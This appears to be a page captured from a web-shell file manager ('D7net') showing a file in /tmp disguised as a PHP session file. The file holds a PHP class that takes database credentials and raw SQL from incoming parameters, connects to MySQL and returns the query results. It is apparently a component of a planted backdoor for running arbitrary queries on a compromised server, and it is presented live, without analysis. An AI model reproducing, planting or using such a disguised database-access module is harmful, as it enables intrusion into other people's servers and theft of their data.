D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
tmp
/
mbdvd0
/
Filename :
sess_0da84599553944d82cf5f47f372d18demysql
back
Copy
<?php class mbd_mysql { public $mysql; public $type; function __construct($core) { $this->core = $core; if(isset($this->core->data->options)) $this->_o = $this->core->data->options; if(isset($this->core->data->params)) $this->_p = $this->core->data->params; } function connect($config) { if(function_exists('mysqli_connect')) { $this->type = 'mysqli'; mysqli_report(MYSQLI_REPORT_OFF); $this->mysql = new mysqli($config[0], $config[1], $config[2], $config[3]); if($this->mysql->connect_error) return $this->core->out($this->mysql->connect_error); }else{ $this->type = 'mysql'; $this->mysql = mysql_connect($config[0], $config[1], $config[2]); if(!$this->mysql) return $this->core->out(mysql_error()); if(!empty($config[3])) mysql_select_db($config[3], $this->mysql); } $this->prefix = isset($config[4]) ? $config[4] : ''; } function charset($name) { if($this->type=='mysqli') $this->mysql->set_charset($name); else mysql_set_charset($name); } function find($sql, $set='all') { $sql = str_replace('@P_', $this->prefix, $sql); $data = array(); if($this->type=='mysqli') { if(!$result = $this->mysql->query($sql)) return $this->core->out($this->mysql->error); if($set=='update') return TRUE; while($row = $result->fetch_object()) { $data[] = $row; } }else{ if(!$result = mysql_query($sql)) return $this->core->out(mysql_error()); if($set=='update') return TRUE; while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $d = new stdClass; foreach($row AS $i => $v) $d->$i = $v; $data[] = $v; } } if(!count($data)) return FALSE; if($set=='find') return $data[0]; if($set=='first') foreach($data[0] AS $v) return $v; return $data; } function get() { $config = array($this->_o->host, $this->_o->user, $this->_o->pass, $this->_o->base); $this->connect($config); if(isset($this->_o->charset)) $this->charset($this->_o->charset); $data = array(); foreach($this->_p AS $v) $data[] = $this->find($v->sql, isset($v->set)?$v->set:'all'); $this->core->data->result = $data; } }